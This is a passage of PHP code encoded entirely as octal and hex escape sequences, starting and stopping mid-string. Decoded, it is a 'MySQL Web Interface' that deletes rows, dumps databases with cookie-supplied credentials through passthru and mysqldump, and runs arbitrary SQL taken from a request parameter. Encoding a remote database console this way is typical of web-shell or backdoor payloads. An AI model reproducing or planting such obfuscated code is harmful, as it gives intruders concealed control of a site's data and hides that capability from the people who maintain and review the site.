60\x72\151\x6d\x61\x72\171\137\x6b\145\171\x20\75\75\x20\61\x20\x29\xa\40\x20\151\146\50\x20\x24\146\x69\x65\x6c\144\x2d\x3e\x6e\x75\x6d\x65\162\x69\143\40\75\75\40\x31\40\x29\12\40\40\x20\x20\44\153\x65\x79\40\x2e\75\40\44\146\151\x65\x6c\x64\55\76\156\141\x6d\145\x20\56\40\x22\x3d\42\40\56\x20\x24\107\x4c\x4f\102\101\x4c\123\133\44\146\x69\x65\154\x64\55\76\x6e\x61\x6d\x65\x5d\40\56\40\x22\x20\x41\116\104\x20\x22\73\xa\x20\x20\x65\x6c\163\x65\xa\40\x20\x20\40\x24\153\x65\x79\x20\56\x3d\40\44\146\x69\145\x6c\144\x2d\x3e\156\x61\x6d\145\x20\56\40\42\x3d\47\42\40\56\x20\44\x47\114\117\x42\x41\x4c\x53\x5b\44\146\x69\x65\154\x64\x2d\76\x6e\x61\x6d\x65\x5d\40\56\x20\42\x27\x20\101\x4e\x44\x20\42\73\12\x7d\xa\44\153\145\x79\x20\x3d\40\x73\x75\142\163\x74\162\50\40\x24\x6b\x65\x79\x2c\40\60\x2c\x20\x73\164\x72\x6c\145\156\50\44\153\x65\x79\x29\55\x34\40\x29\73\xa\12\x6d\171\x73\x71\x6c\137\163\x65\154\x65\x63\164\137\x64\x62\50\x20\x24\x64\x62\156\141\155\145\54\40\44\155\x79\x73\161\154\110\141\156\x64\154\x65\x20\51\x3b\xa\44\x71\165\x65\x72\x79\x53\x74\x72\x20\75\40\x20\x22\104\105\x4c\105\x54\x45\40\x46\x52\x4f\115\x20\44\x74\141\142\x6c\145\x6e\141\x6d\x65\40\127\x48\x45\122\105\x20\x24\x6b\145\x79\x22\x3b\xa\155\x79\x73\161\154\x5f\x71\165\x65\x72\x79\50\x20\x24\x71\x75\145\x72\171\x53\x74\162\x2c\40\x24\x6d\x79\163\161\154\110\x61\x6e\144\154\145\40\51\x3b\xa\x24\x65\162\x72\115\x73\147\40\x3d\x20\155\x79\163\161\154\137\x65\162\x72\157\162\50\51\x3b\xa\12\x76\x69\145\167\x44\x61\164\141\50\40\x22\x22\40\51\x3b\xa\175\xa\12\x66\x75\156\143\x74\151\x6f\156\x20\144\165\x6d\x70\x28\x29\40\x7b\xa\x67\x6c\x6f\x62\141\x6c\x20\x24\x50\110\120\137\x53\x45\x4c\x46\x2c\x20\x24\125\x53\105\x52\x4e\x41\x4d\x45\x2c\40\x24\120\x41\x53\123\127\x4f\x52\104\54\40\44\141\143\164\151\x6f\x6e\54\x20\44\x64\x62\x6e\x61\x6d\x65\x2c\x20\44\164\x61\142\x6c\145\x6e\141\155\x65\73\xa\xa\x69\146\50\x20\x24\141\143\x74\151\157\156\x20\75\x3d\40\x22\x64\x75\155\160\x54\x61\142\154\x65\x22\x20\x29\xa\x20\x20\44\x66\x69\x6c\x65\156\141\155\x65\40\75\x20\44\164\141\x62\x6c\145\x6e\141\155\145\x3b\12\x65\x6c\x73\x65\xa\40\x20\x24\146\151\x6c\145\156\141\x6d\145\40\75\x20\x24\144\x62\156\x61\x6d\x65\73\12\12\x68\145\141\x64\145\162\x28\x22\103\x6f\156\164\x65\x6e\x74\55\144\x69\x73\160\x6f\163\151\164\x69\157\x6e\x3a\40\x66\151\154\145\x6e\141\x6d\145\75\x24\146\x69\x6c\145\x6e\141\x6d\145\56\163\161\154\42\51\x3b\xa\x68\145\141\x64\x65\x72\x28\x22\x43\x6f\x6e\164\x65\156\x74\55\x74\x79\160\x65\x3a\40\x61\160\x70\154\x69\x63\141\164\151\157\156\57\x6f\143\164\x65\x74\x73\x74\162\145\x61\x6d\42\x29\73\xa\150\x65\141\144\145\162\50\42\x50\162\141\147\155\x61\x3a\x20\x6e\x6f\x2d\143\141\143\150\145\x22\51\73\12\150\x65\x61\x64\x65\162\x28\x22\105\170\160\x69\x72\145\163\72\40\x30\42\51\73\12\xa\44\160\122\145\x73\165\x6c\x74\x20\75\40\x6d\171\163\x71\x6c\137\161\165\145\162\171\50\40\x22\163\150\157\167\40\166\141\x72\151\x61\142\154\145\163\42\40\x29\73\xa\167\150\x69\154\145\50\x20\61\40\51\x20\x7b\12\40\40\x24\162\157\167\x41\162\x72\141\171\40\x3d\40\x6d\x79\x73\161\x6c\x5f\x66\145\x74\143\x68\137\x72\x6f\x77\x28\x20\x24\160\x52\x65\163\165\154\x74\40\x29\73\12\x20\x20\x69\x66\x28\40\x24\162\x6f\167\101\x72\162\141\x79\x20\75\x3d\x20\146\x61\x6c\163\145\40\x29\40\x62\x72\x65\x61\153\x3b\xa\x20\x20\151\146\x28\40\x24\162\157\x77\x41\162\x72\141\171\133\60\135\x20\x3d\75\x20\42\x62\141\x73\145\x64\x69\162\x22\x20\x29\12\40\40\44\x62\x69\x6e\x64\x69\x72\40\75\x20\x24\162\x6f\167\x41\x72\162\141\x79\x5b\x31\135\x2e\x22\142\x69\156\x2f\42\x3b\xa\x7d\12\12\160\141\163\x73\164\150\x72\x75\50\40\x24\142\151\156\144\x69\162\56\x22\x6d\171\163\x71\154\144\165\155\x70\40\x2d\55\165\x73\x65\x72\75\44\125\x53\105\122\116\101\115\x45\x20\x2d\55\x70\x61\x73\163\167\157\162\144\75\44\x50\x41\x53\x53\127\117\x52\104\x20\x24\x64\x62\x6e\141\x6d\145\40\x24\164\x61\x62\x6c\x65\x6e\141\x6d\x65\x22\40\51\73\xa\175\xa\12\146\x75\156\143\x74\151\x6f\156\40\165\164\151\154\163\50\x29\40\x7b\12\x67\154\x6f\142\x61\154\x20\x24\120\x48\x50\137\x53\105\x4c\106\x2c\40\x24\143\x6f\155\155\x61\x6e\x64\73\xa\x65\143\x68\x6f\40\x22\x3c\x68\61\x3e\125\164\x69\154\x69\164\151\145\163\x3c\57\150\x31\76\x5c\x6e\42\73\xa\151\x66\50\x20\44\143\157\x6d\x6d\x61\156\144\40\x3d\75\40\x22\42\40\174\x7c\40\163\x75\x62\x73\164\162\50\x20\x24\x63\157\155\155\141\x6e\x64\x2c\40\x30\x2c\x20\x35\40\51\40\75\x3d\x20\x22\146\154\165\163\x68\42\40\51\40\173\12\x20\x20\x65\x63\x68\x6f\40\42\74\150\162\76\134\156\42\73\xa\x20\40\145\143\150\x6f\x20\42\123\150\x6f\x77\x5c\x6e\x22\x3b\12\x20\40\x65\143\150\x6f\40\42\74\165\x6c\76\134\x6e\x22\73\xa\40\x20\x65\x63\x68\x6f\40\42\74\154\151\76\x3c\x61\40\150\x72\145\146\x3d\x27\44\x50\110\120\137\x53\x45\114\106\77\141\x63\164\151\x6f\x6e\75\165\164\151\154\x73\46\143\x6f\x6d\x6d\141\x6e\x64\75\163\x68\157\167\x5f\x73\x74\141\164\x75\x73\47\x3e\x53\164\x61\x74\165\x73\x3c\57\x61\76\134\x6e\42\73\12\40\40\x65\143\150\157\40\42\x3c\x6c\151\x3e\x3c\x61\40\150\x72\145\x66\75\47\44\120\110\x50\x5f\123\105\x4c\x46\x3f\x61\143\164\x69\157\x6e\75\x75\x74\151\x6c\163\x26\x63\x6f\155\x6d\x61\156\x64\x3d\163\x68\x6f\167\x5f\x76\x61\x72\151\141\142\x6c\x65\163\x27\x3e\x56\141\x72\151\141\142\x6c\x65\x73\74\57\x61\x3e\134\156\x22\x3b\12\40\x20\145\143\x68\157\40\42\x3c\x6c\151\x3e\74\141\40\x68\x72\145\146\75\47\x24\120\x48\x50\x5f\x53\105\x4c\x46\x3f\x61\x63\x74\x69\157\x6e\75\165\x74\x69\154\x73\46\x63\157\155\155\141\x6e\x64\75\x73\x68\x6f\x77\x5f\x70\162\x6f\x63\145\x73\163\x6c\x69\x73\x74\x27\x3e\x50\x72\157\x63\145\163\x73\154\x69\x73\164\74\57\141\76\x5c\x6e\x22\x3b\12\40\40\145\143\150\x6f\40\x22\74\57\165\154\x3e\x5c\x6e\42\x3b\xa\x20\x20\145\143\150\157\40\x22\106\x6c\165\x73\150\134\x6e\42\73\xa\x20\40\x65\143\150\x6f\x20\x22\x3c\165\x6c\x3e\134\x6e\x22\73\xa\x20\40\145\x63\x68\x6f\x20\42\74\x6c\x69\76\74\x61\40\150\162\145\x66\75\x27\44\x50\x48\x50\x5f\x53\105\114\106\x3f\141\x63\x74\151\157\x6e\75\x75\164\151\x6c\163\46\143\157\155\155\x61\x6e\144\75\x66\154\x75\163\x68\137\x68\157\x73\164\x73\x27\x3e\110\157\x73\x74\x73\74\57\x61\76\134\x6e\x22\73\xa\x20\40\151\x66\x28\40\44\x63\x6f\x6d\x6d\141\156\144\40\x3d\75\40\42\x66\154\165\x73\x68\137\150\x6f\x73\164\163\x22\40\51\40\173\xa\x20\40\151\x66\50\40\155\x79\x73\161\154\137\x71\165\145\162\171\x28\x20\42\106\154\x75\163\x68\40\x68\157\163\x74\163\x22\40\51\40\41\x3d\x20\146\x61\154\163\x65\x20\x29\xa\40\40\x20\40\145\143\x68\x6f\40\42\x3c\x66\157\156\164\x20\163\151\x7a\145\75\x32\40\143\157\x6c\157\x72\x3d\x72\145\144\76\x2d\x20\x53\x75\143\x63\145\x73\163\x3c\x2f\x66\157\x6e\164\x3e\x22\x3b\xa\x20\x20\x65\154\163\145\12\x20\x20\x20\x20\x65\143\150\157\x20\42\74\146\157\156\164\40\x73\151\172\145\75\x32\40\x63\x6f\x6c\157\x72\75\162\145\x64\x3e\x2d\40\x46\141\x69\154\x3c\57\x66\x6f\156\x74\76\42\x3b\xa\x20\40\175\12\x20\40\x65\143\150\157\x20\x22\x3c\154\151\76\74\x61\x20\150\162\x65\146\x3d\47\x24\120\x48\120\137\x53\105\114\106\77\x61\143\164\151\157\156\75\165\164\151\154\x73\46\x63\x6f\155\x6d\x61\156\x64\75\x66\154\165\x73\x68\x5f\x6c\x6f\x67\163\47\76\x4c\x6f\147\x73\74\x2f\141\x3e\134\156\x22\x3b\xa\40\40\151\146\50\x20\x24\143\x6f\155\155\x61\156\144\40\x3d\x3d\40\42\x66\154\165\x73\x68\137\154\x6f\x67\163\x22\40\51\x20\x7b\12\40\x20\151\146\x28\x20\x6d\171\x73\161\154\x5f\161\165\x65\x72\171\x28\40\42\106\154\165\163\150\40\x6c\x6f\x67\x73\42\x20\51\x20\41\75\40\x66\141\154\x73\x65\x20\51\12\40\40\40\40\x65\x63\x68\x6f\40\42\x3c\x66\157\156\164\40\163\x69\172\x65\75\x32\x20\x63\157\x6c\157\162\x3d\x72\145\144\76\55\x20\123\x75\x63\x63\145\163\x73\74\x2f\x66\x6f\x6e\164\x3e\x22\x3b\xa\40\40\x65\x6c\163\145\xa\40\40\x20\x20\x65\x63\150\x6f\x20\42\x3c\x66\x6f\156\164\x20\x73\151\172\145\75\62\40\143\157\154\x6f\x72\x3d\x72\x65\x64\76\x2d\x20\106\141\x69\x6c\74\57\146\157\x6e\164\x3e\42\x3b\xa\x20\x20\175\xa\40\40\145\x63\x68\x6f\x20\x22\74\x6c\x69\x3e\x3c\141\40\x68\x72\145\x66\x3d\x27\44\120\110\120\x5f\123\105\114\x46\x3f\x61\143\164\151\157\156\75\x75\x74\151\x6c\163\x26\143\x6f\155\155\141\x6e\144\75\x66\x6c\165\x73\x68\137\160\x72\x69\x76\151\x6c\145\x67\x65\x73\47\76\x50\x72\151\x76\151\154\x65\147\145\x73\74\57\x61\x3e\x5c\156\42\x3b\12\40\40\x69\x66\50\x20\x24\143\x6f\x6d\x6d\x61\156\144\x20\x3d\75\x20\x22\146\154\165\x73\150\x5f\x70\162\151\166\151\154\145\x67\x65\163\42\40\x29\40\x7b\12\x20\x20\151\146\50\x20\x6d\171\163\161\x6c\137\161\x75\145\x72\x79\x28\40\x22\106\154\165\163\150\40\x70\x72\151\166\151\x6c\x65\x67\x65\x73\42\40\x29\x20\41\x3d\x20\146\141\x6c\163\x65\x20\x29\12\x20\40\x20\40\145\x63\x68\x6f\x20\42\74\x66\x6f\156\164\x20\x73\x69\172\x65\x3d\x32\x20\143\157\154\157\162\75\162\x65\144\76\x2d\40\123\165\x63\x63\x65\163\163\74\57\x66\x6f\x6e\164\x3e\42\73\12\x20\x20\145\x6c\163\145\xa\40\x20\40\40\145\x63\150\157\40\x22\74\146\157\156\x74\40\163\x69\172\145\x3d\62\40\x63\157\154\x6f\x72\x3d\162\x65\x64\x3e\55\x20\x46\x61\151\x6c\74\x2f\146\x6f\x6e\x74\x3e\x22\x3b\xa\x20\x20\175\12\40\40\x65\x63\x68\157\40\x22\74\x6c\x69\x3e\x3c\141\x20\x68\162\145\146\x3d\x27\44\x50\110\x50\x5f\x53\x45\x4c\106\x3f\141\143\164\151\x6f\x6e\75\x75\164\151\x6c\x73\x26\143\x6f\x6d\x6d\x61\156\144\x3d\x66\x6c\165\x73\x68\137\164\141\x62\154\145\x73\x27\76\x54\141\142\x6c\145\x73\74\57\x61\x3e\x5c\156\42\73\xa\x20\40\151\x66\x28\x20\44\143\x6f\155\155\141\156\x64\x20\x3d\75\x20\42\x66\x6c\x75\x73\x68\137\164\141\142\154\145\163\42\40\x29\40\x7b\xa\x20\x20\151\x66\50\40\x6d\171\163\x71\x6c\137\161\165\145\x72\171\x28\40\42\106\154\x75\x73\x68\40\164\141\x62\154\x65\163\42\x20\x29\x20\41\75\40\146\x61\x6c\163\145\x20\x29\12\x20\40\x20\x20\x65\x63\x68\x6f\x20\x22\x3c\x66\157\156\x74\x20\163\x69\172\145\75\x32\x20\x63\157\154\x6f\162\x3d\x72\x65\x64\x3e\x2d\x20\123\165\x63\x63\145\x73\x73\74\57\146\157\x6e\x74\76\x22\x3b\xa\x20\x20\145\154\x73\x65\xa\40\x20\40\x20\x65\x63\x68\x6f\x20\42\74\146\x6f\x6e\x74\40\163\x69\x7a\145\x3d\62\40\143\157\x6c\x6f\x72\x3d\x72\x65\144\76\55\40\106\x61\151\154\74\57\x66\157\x6e\164\76\x22\x3b\12\40\40\175\xa\x20\40\x65\x63\x68\x6f\x20\42\x3c\154\x69\76\x3c\x61\x20\150\162\145\146\x3d\47\x24\120\x48\x50\137\123\x45\114\x46\77\x61\143\164\x69\157\156\x3d\165\164\151\154\163\x26\x63\x6f\x6d\155\x61\x6e\x64\x3d\146\x6c\165\163\x68\137\163\x74\x61\x74\x75\163\x27\x3e\x53\x74\141\164\x75\163\74\x2f\x61\x3e\134\x6e\x22\x3b\xa\40\40\151\146\50\x20\x24\x63\157\155\155\x61\x6e\144\x20\x3d\75\x20\x22\x66\154\x75\x73\x68\x5f\x73\164\x61\164\165\x73\x22\40\x29\40\173\12\x20\x20\x69\146\50\x20\155\x79\x73\x71\x6c\137\x71\165\x65\162\171\50\40\x22\x46\154\165\163\150\40\163\164\141\x74\x75\163\x22\x20\51\40\x21\75\40\x66\141\x6c\163\x65\x20\x29\xa\40\40\x20\x20\145\x63\x68\157\x20\42\x3c\x66\157\156\x74\40\x73\x69\172\145\x3d\x32\x20\143\x6f\154\x6f\162\x3d\162\x65\x64\76\x2d\x20\x53\165\143\x63\x65\163\163\x3c\57\146\x6f\x6e\164\76\x22\73\xa\x20\40\145\154\x73\x65\12\x20\40\40\x20\x65\x63\x68\157\40\x22\74\x66\x6f\x6e\164\40\163\x69\x7a\x65\x3d\62\x20\x63\x6f\154\157\162\75\162\145\144\x3e\x2d\x20\106\x61\151\154\x3c\x2f\x66\x6f\156\x74\x3e\x22\73\xa\40\x20\175\xa\x20\x20\145\x63\x68\x6f\40\42\x3c\57\x75\154\76\x5c\x6e\42\73\12\175\40\145\x6c\x73\145\40\x7b\xa\x20\40\44\161\x75\145\x72\x79\123\x74\x72\x20\75\x20\145\162\145\147\137\x72\145\x70\x6c\x61\143\145\x28\40\x22\137\42\x2c\40\x22\x20\42\x2c\40\44\143\x6f\155\x6d\x61\x6e\144\40\x29\x3b\xa\40\x20\x24\160\122\x65\163\165\154\x74\x20\75\x20\x6d\171\163\161\154\x5f\x71\x75\x65\x72\x79\50\40\x24\x71\165\145\x72\x79\x53\x74\162\40\51\73\12\40\x20\151\x66\50\40\44\160\122\x65\x73\x75\x6c\x74\x20\75\75\40\x66\141\x6c\x73\x65\x20\51\x20\x7b\12\x20\40\145\143\x68\x6f\40\x22\x46\141\x69\x6c\x22\73\12\40\40\162\x65\164\165\x72\x6e\73\12\40\x20\x7d\12\40\x20\44\143\157\x6c\x20\75\x20\155\171\x73\161\x6c\x5f\156\165\x6d\x5f\x66\x69\x65\154\x64\x73\50\40\x24\160\122\145\163\165\154\x74\x20\x29\x3b\xa\xa\40\40\145\x63\x68\157\40\42\x3c\x70\x20\143\x6c\x61\163\163\x3d\154\x6f\143\x61\164\x69\157\156\x3e\x24\x71\165\145\x72\x79\x53\164\x72\x3c\57\160\76\x5c\x6e\42\73\12\40\x20\145\x63\x68\x6f\40\42\74\150\x72\x3e\x5c\156\x22\73\xa\xa\40\40\x65\143\x68\157\x20\x22\x3c\x74\x61\142\154\x65\40\143\x65\154\154\163\x70\141\x63\x69\x6e\147\75\x31\x20\x63\145\x6c\x6c\x70\x61\144\x64\x69\x6e\x67\x3d\62\x20\142\157\162\x64\x65\162\75\x30\76\x5c\156\42\x3b\12\x20\40\x65\143\150\x6f\40\42\74\164\x72\76\134\156\42\73\12\x20\x20\146\x6f\x72\x28\40\x24\151\40\75\40\60\73\x20\44\151\40\x3c\40\x24\143\157\154\73\x20\44\x69\x2b\53\40\x29\40\173\xa\x20\x20\x24\146\x69\x65\154\x64\x20\75\x20\x6d\x79\x73\x71\154\137\x66\145\x74\143\150\137\x66\x69\145\154\x64\50\x20\44\160\122\x65\x73\165\154\164\54\x20\x24\151\40\51\73\12\40\40\x65\143\150\157\x20\42\x3c\164\x68\76\42\x2e\44\146\151\x65\x6c\144\55\x3e\x6e\141\x6d\145\56\x22\74\x2f\164\x68\76\x5c\x6e\42\73\12\40\x20\x7d\12\40\40\145\x63\x68\157\40\x22\74\57\x74\162\76\x5c\156\x22\x3b\12\xa\40\40\x77\x68\x69\154\145\50\40\61\x20\51\x20\x7b\xa\x20\x20\44\162\157\167\x41\162\x72\x61\x79\40\x3d\x20\155\x79\163\161\154\x5f\x66\145\x74\x63\150\x5f\x72\x6f\x77\x28\40\44\x70\x52\x65\163\x75\154\x74\x20\x29\x3b\xa\x20\x20\151\146\x28\x20\44\162\x6f\x77\101\162\162\141\171\x20\x3d\x3d\40\x66\141\154\x73\x65\x20\51\40\142\x72\x65\141\x6b\x3b\xa\x20\40\x65\x63\x68\157\40\x22\x3c\x74\x72\76\x5c\x6e\x22\73\xa\40\40\x66\157\x72\50\40\x24\x6a\x20\x3d\40\x30\x3b\x20\x24\x6a\x20\x3c\x20\44\x63\157\154\73\x20\x24\152\53\x2b\40\x29\12\40\40\40\x20\x65\x63\150\157\40\42\74\x74\144\x3e\42\x2e\x68\x74\x6d\154\163\160\x65\x63\x69\141\x6c\x63\x68\141\162\163\50\40\x24\x72\x6f\167\x41\x72\162\141\x79\x5b\44\152\135\40\51\56\42\74\57\164\144\76\134\x6e\42\x3b\xa\40\x20\145\x63\x68\x6f\40\42\74\x2f\x74\162\76\x5c\x6e\x22\x3b\xa\x20\40\x7d\xa\x20\x20\145\143\150\x6f\40\x22\74\x2f\x74\x61\142\x6c\145\x3e\x5c\x6e\x22\x3b\12\175\xa\175\12\12\x66\165\x6e\x63\164\x69\157\156\40\150\x65\x61\144\x65\162\x5f\150\x74\155\154\50\51\40\x7b\xa\147\154\x6f\x62\141\x6c\x20\x24\120\x48\x50\137\x53\105\x4c\106\73\xa\xa\x3f\76\12\x3c\x68\x74\155\154\x3e\12\x3c\x68\145\141\144\x3e\xa\x3c\x74\x69\164\x6c\x65\76\x4d\x79\123\121\x4c\x20\x57\145\142\40\x49\x6e\164\145\162\146\141\143\x65\x3c\x2f\x74\x69\164\x6c\x65\x3e\xa\x3c\163\164\171\154\145\x20\x74\x79\x70\x65\x3d\42\164\x65\x78\164\x2f\x63\163\163\x22\x3e\xa\74\41\55\x2d\xa\x70\x2e\x6c\x6f\143\141\164\x69\x6f\156\40\x7b\xa\143\157\x6c\x6f\162\72\x20\x23\106\106\66\x30\60\60\73\xa\146\x6f\x6e\164\55\163\x69\x7a\145\72\40\x73\x6d\x61\154\x6c\x3b\12\x7d\xa\150\61\40\x7b\xa\143\x6f\x6c\157\162\x3a\x20\x23\x30\x30\71\x30\x46\106\x3b\12\175\xa\x74\150\40\x7b\12\x62\x61\143\x6b\x67\162\157\x75\156\144\55\x63\x6f\x6c\157\x72\72\40\43\63\64\101\x37\62\65\73\xa\x63\157\x6c\157\x72\x3a\x20\x23\106\x46\106\x46\x46\x46\73\12\x66\x6f\156\x74\55\x73\x69\172\x65\72\x20\x78\55\163\x6d\141\154\154\x3b\12\x7d\12\x74\144\40\x7b\xa\142\141\x63\x6b\147\162\157\x75\156\144\x2d\143\x6f\154\x6f\162\x3a\40\43\65\x44\x42\61\106\106\73\12\146\157\156\x74\x2d\x73\x69\172\x65\x3a\40\170\x2d\x73\x6d\141\x6c\x6c\73\xa\x7d\12\146\x6f\x72\x6d\40\173\12\155\x61\162\x67\x69\x6e\x2d\164\157\x70\72\x20\x30\73\xa\x6d\x61\162\x67\x69\x6e\55\x62\x6f\x74\164\x6f\155\x3a\40\x30\x3b\12\x7d\12\x61\40\x7b\12\x74\145\170\x74\x2d\x64\145\x63\157\x72\x61\x74\x69\x6f\156\x3a\x6e\157\156\x65\73\xa\143\157\154\x6f\162\x3a\40\x23\x38\64\x38\x32\x30\60\73\xa\x66\157\156\164\55\163\x69\x7a\x65\72\x78\55\x73\x6d\141\154\x6c\x3b\12\x7d\xa\x61\x3a\154\151\156\x6b\x20\173\12\x7d\12\x61\72\x68\x6f\x76\x65\162\40\x7b\xa\142\141\x63\x6b\147\x72\x6f\165\156\144\x2d\x63\157\x6c\x6f\162\72\x23\105\x45\x45\106\x44\65\73\12\143\157\154\x6f\x72\72\x23\x46\106\x30\60\60\60\x3b\12\x74\145\170\x74\55\144\x65\x63\x6f\x72\141\x74\151\157\156\x3a\156\157\156\x65\x20\40\40\40\40\x20\40\x20\x20\40\x20\x20\x20\xa\175\12\x2f\x2f\x2d\x2d\76\12\74\57\x73\164\x79\154\145\x3e\12\74\x2f\150\x65\x61\x64\x3e\xa\x3c\x62\157\x64\x79\76\12\x3c\x3f\xa\x7d\xa\xa\x66\x75\156\143\164\x69\x6f\x6e\40\x66\x6f\x6f\164\x65\x72\x5f\150\164\155\154\x28\51\40\x7b\xa\147\154\x6f\x62\141\154\40\44\155\171\163\x71\x6c\110\141\156\144\x6c\145\x2c\x20\x24\x64\142\156\x61\x6d\x65\x2c\40\x24\164\x61\x62\154\x65\x6e\x61\155\x65\54\x20\44\x50\110\120\137\123\x45\x4c\x46\54\x20\44\125\123\x45\x52\x4e\x41\115\x45\x3b\12\xa\145\x63\x68\157\40\x22\74\150\x72\76\x5c\156\x22\73\12\x65\143\x68\157\x20\x22\74\x66\x6f\x6e\164\40\x73\151\x7a\145\75\62\x3e\134\x6e\42\x3b\xa\145\143\x68\157\40\x22\74\x66\157\156\164\x20\143\157\154\157\x72\75\x62\154\x75\x65\x3e\x5b\44\125\x53\105\122\116\x41\115\x45\x5d\x3c\57\x66\157\x6e\164\76\40\55\x20\x5c\156\x22\x3b\12\12\145\143\x68\157\x20\x22\74\141\x20\150\x72\145\146\75\47\44\x50\x48\x50\x5f\123\x45\x4c\106\x3f\141\x63\164\x69\x6f\156\x3d\154\151\x73\164\x44\102\x73\47\76\x44\x61\x74\141\142\x61\x73\x65\x20\x4c\151\x73\164\x3c\57\x61\x3e\x20\x7c\x20\134\156\x22\73\xa\x69\x66\x28\x20\x24\164\141\142\154\145\156\x61\155\x65\40\x21\75\x20\42\x22\40\x29\12\40\40\x65\x63\x68\157\40\x22\x3c\141\40\150\x72\x65\146\x3d\47\x24\120\110\120\x5f\x53\x45\114\x46\77\x61\143\164\x69\x6f\x6e\75\x6c\x69\x73\164\124\x61\142\154\145\163\46\x64\142\156\x61\155\145\x3d\44\x64\142\x6e\x61\x6d\x65\46\x74\x61\x62\x6c\145\x6e\x61\x6d\x65\75\x24\x74\x61\x62\154\x65\x6e\x61\155\x65\47\x3e\124\141\x62\x6c\145\x20\114\x69\x73\164\74\57\141\x3e\40\174\40\42\x3b\xa\145\143\150\157\x20\42\74\x61\40\150\x72\145\146\75\x27\x24\120\x48\120\137\123\105\x4c\106\x3f\141\x63\164\151\x6f\x6e\x3d\165\164\151\154\163\47\76\x55\x74\151\154\163\74\x2f\x61\x3e\x20\x7c\x5c\x6e\42\73\xa\145\x63\x68\x6f\x20\x22\74\x61\x20\150\162\145\146\x3d\x27\x24\x50\x48\x50\137\x53\x45\114\x46\x3f\141\143\164\x69\x6f\x6e\x3d\154\157\x67\x6f\165\x74\x27\76\114\157\x67\x6f\165\x74\74\57\x61\x3e\x5c\156\x22\73\12\x65\x63\150\157\40\42\74\x2f\146\157\x6e\164\76\x5c\x6e\x22\x3b\xa\145\143\150\x6f\x20\42\x3c\57\x62\157\x64\x79\x3e\x5c\156\42\x3b\xa\x65\x63\x68\x6f\40\x22\74\57\x68\164\155\154\76\x5c\x6e\x22\x3b\12\175\12\xa\x2f\57\x2d\55\x2d\x2d\x2d\55\55\55\55\x2d\55\55\55\x2d\x2d\x2d\55\55\x2d\x2d\x2d\x2d\55\x2d\55\x2d\x2d\55\x2d\x2d\x2d\55\x2d\55\x2d\x2d\x2d\x2d\55\x2d\x2d\x2d\x2d\x2d\55\55\55\55\55\55\55\x2d\x2d\x2d\x20\115\x41\111\x4e\xa\12\x69\146\50\x20\44\141\143\164\151\157\156\x20\x3d\75\x20\42\x6c\x6f\147\157\156\42\x20\174\x7c\x20\44\141\x63\x74\x69\x6f\x6e\40\x3d\75\40\42\x22\40\174\x7c\x20\x24\141\143\164\x69\157\156\40\75\75\40\42\x6c\157\x67\157\x75\x74\x22\x20\x29\xa\154\157\147\x6f\156\50\x29\x3b\xa\x65\154\163\x65\x20\x69\146\x28\x20\x24\x61\x63\x74\151\x6f\156\x20\75\x3d\x20\42\x6c\157\147\x6f\156\x5f\x73\x75\142\x6d\151\164\x22\40\x29\xa\154\157\147\x6f\156\137\163\165\142\x6d\151\164\50\x29\x3b\xa\145\x6c\163\x65\x20\151\146\50\40\44\x61\143\x74\x69\x6f\x6e\40\x3d\x3d\40\42\x64\x75\155\x70\x54\141\142\x6c\145\x22\40\x7c\174\40\x24\141\x63\164\151\157\x6e\40\75\75\x20\x22\x64\165\155\160\x44\x42\x22\40\x29\40\x7b\xa\x77\x68\151\x6c\x65\50\40\154\151\x73\x74\x28\44\x76\141\x72\54\x20\44\x76\x61\x6c\165\x65\x29\40\x3d\x20\x65\x61\143\150\x28\44\110\124\x54\x50\137\x43\117\117\113\111\x45\137\x56\101\122\x53\51\x20\51\x20\x7b\xa\40\40\151\x66\x28\x20\44\x76\x61\x72\x20\75\x3d\x20\42\x6d\171\163\x71\154\x5f\x77\145\142\x5f\141\x64\x6d\151\x6e\x5f\165\x73\145\x72\x6e\141\x6d\145\42\x20\x29\x20\x24\x55\x53\105\122\x4e\x41\115\x45\40\x3d\40\x24\166\x61\154\x75\x65\x3b\xa\40\40\x69\x66\x28\x20\44\x76\x61\162\40\75\x3d\x20\42\155\171\x73\x71\x6c\x5f\167\145\142\137\141\x64\155\x69\156\x5f\160\141\x73\x73\167\157\162\x64\x22\40\x29\40\x24\120\x41\123\123\x57\117\122\104\40\75\40\x24\166\141\154\165\x65\73\12\175\12\44\155\x79\x73\x71\x6c\110\141\156\144\x6c\x65\x20\x3d\x20\x6d\x79\163\161\x6c\x5f\x70\x63\157\156\x6e\x65\143\164\50\x20\44\x48\x4f\123\x54\116\x41\x4d\x45\54\40\44\125\x53\x45\122\x4e\101\x4d\x45\54\x20\x24\120\101\123\123\x57\x4f\x52\104\40\51\x3b\xa\144\x75\x6d\x70\50\51\73\12\x7d\40\145\x6c\163\145\x20\x7b\12\x77\x68\x69\x6c\x65\50\40\x6c\x69\163\164\x28\x24\166\141\162\54\x20\44\166\141\x6c\165\145\51\x20\75\40\x65\141\x63\x68\x28\x24\x48\124\x54\x50\x5f\x43\x4f\117\x4b\111\105\137\x56\101\122\123\51\x20\x29\x20\x7b\12\40\40\x69\146\x28\40\x24\x76\141\162\40\x3d\x3d\x20\x22\155\x79\x73\x71\154\x5f\167\145\x62\x5f\x61\144\x6d\151\x6e\x5f\x75\x73\145\x72\156\141\155\x65\42\40\x29\40\x24\x55\123\x45\122\x4e\101\115\105\x20\75\x20\44\x76\141\154\x75\145\73\xa\x20\x20\x69\146\50\40\44\166\x61\162\x20\75\x3d\x20\42\x6d\171\x73\x71\154\137\167\145\x62\137\141\144\155\x69\156\137\160\141\163\x73\167\x6f\x72\x64\x22\x20\x29\x20\44\x50\x41\x53\x53\127\117\122\x44\x20\x3d\40\44\x76\141\154\165\x65\73\xa\x7d\xa\145\143\150\157\x20\42\74\x21\x2d\x2d\42\73\12\44\155\171\x73\161\154\x48\x61\x6e\x64\154\145\40\75\40\x6d\x79\x73\x71\x6c\x5f\x70\143\157\x6e\156\x65\x63\x74\50\40\44\x48\x4f\x53\x54\116\x41\115\105\54\40\x24\125\x53\x45\122\116\101\x4d\x45\54\x20\44\x50\101\123\x53\x57\117\x52\104\40\x29\x3b\12\x65\x63\150\x6f\x20\x22\x2d\x2d\x3e\42\73\xa\xa\x69\146\x28\x20\x24\x6d\171\x73\x71\154\x48\141\x6e\x64\154\x65\40\x3d\x3d\40\x66\x61\154\163\x65\40\51\x20\x7b\xa\x20\40\145\143\x68\157\x20\x22\x3c\150\x74\x6d\154\76\134\x6e\42\73\xa\x20\x20\x65\143\x68\x6f\40\42\x3c\150\145\141\144\x3e\x5c\x6e\42\x3b\12\40\40\145\143\x68\157\x20\x22\x3c\x74\x69\164\x6c\145\x3e\x4d\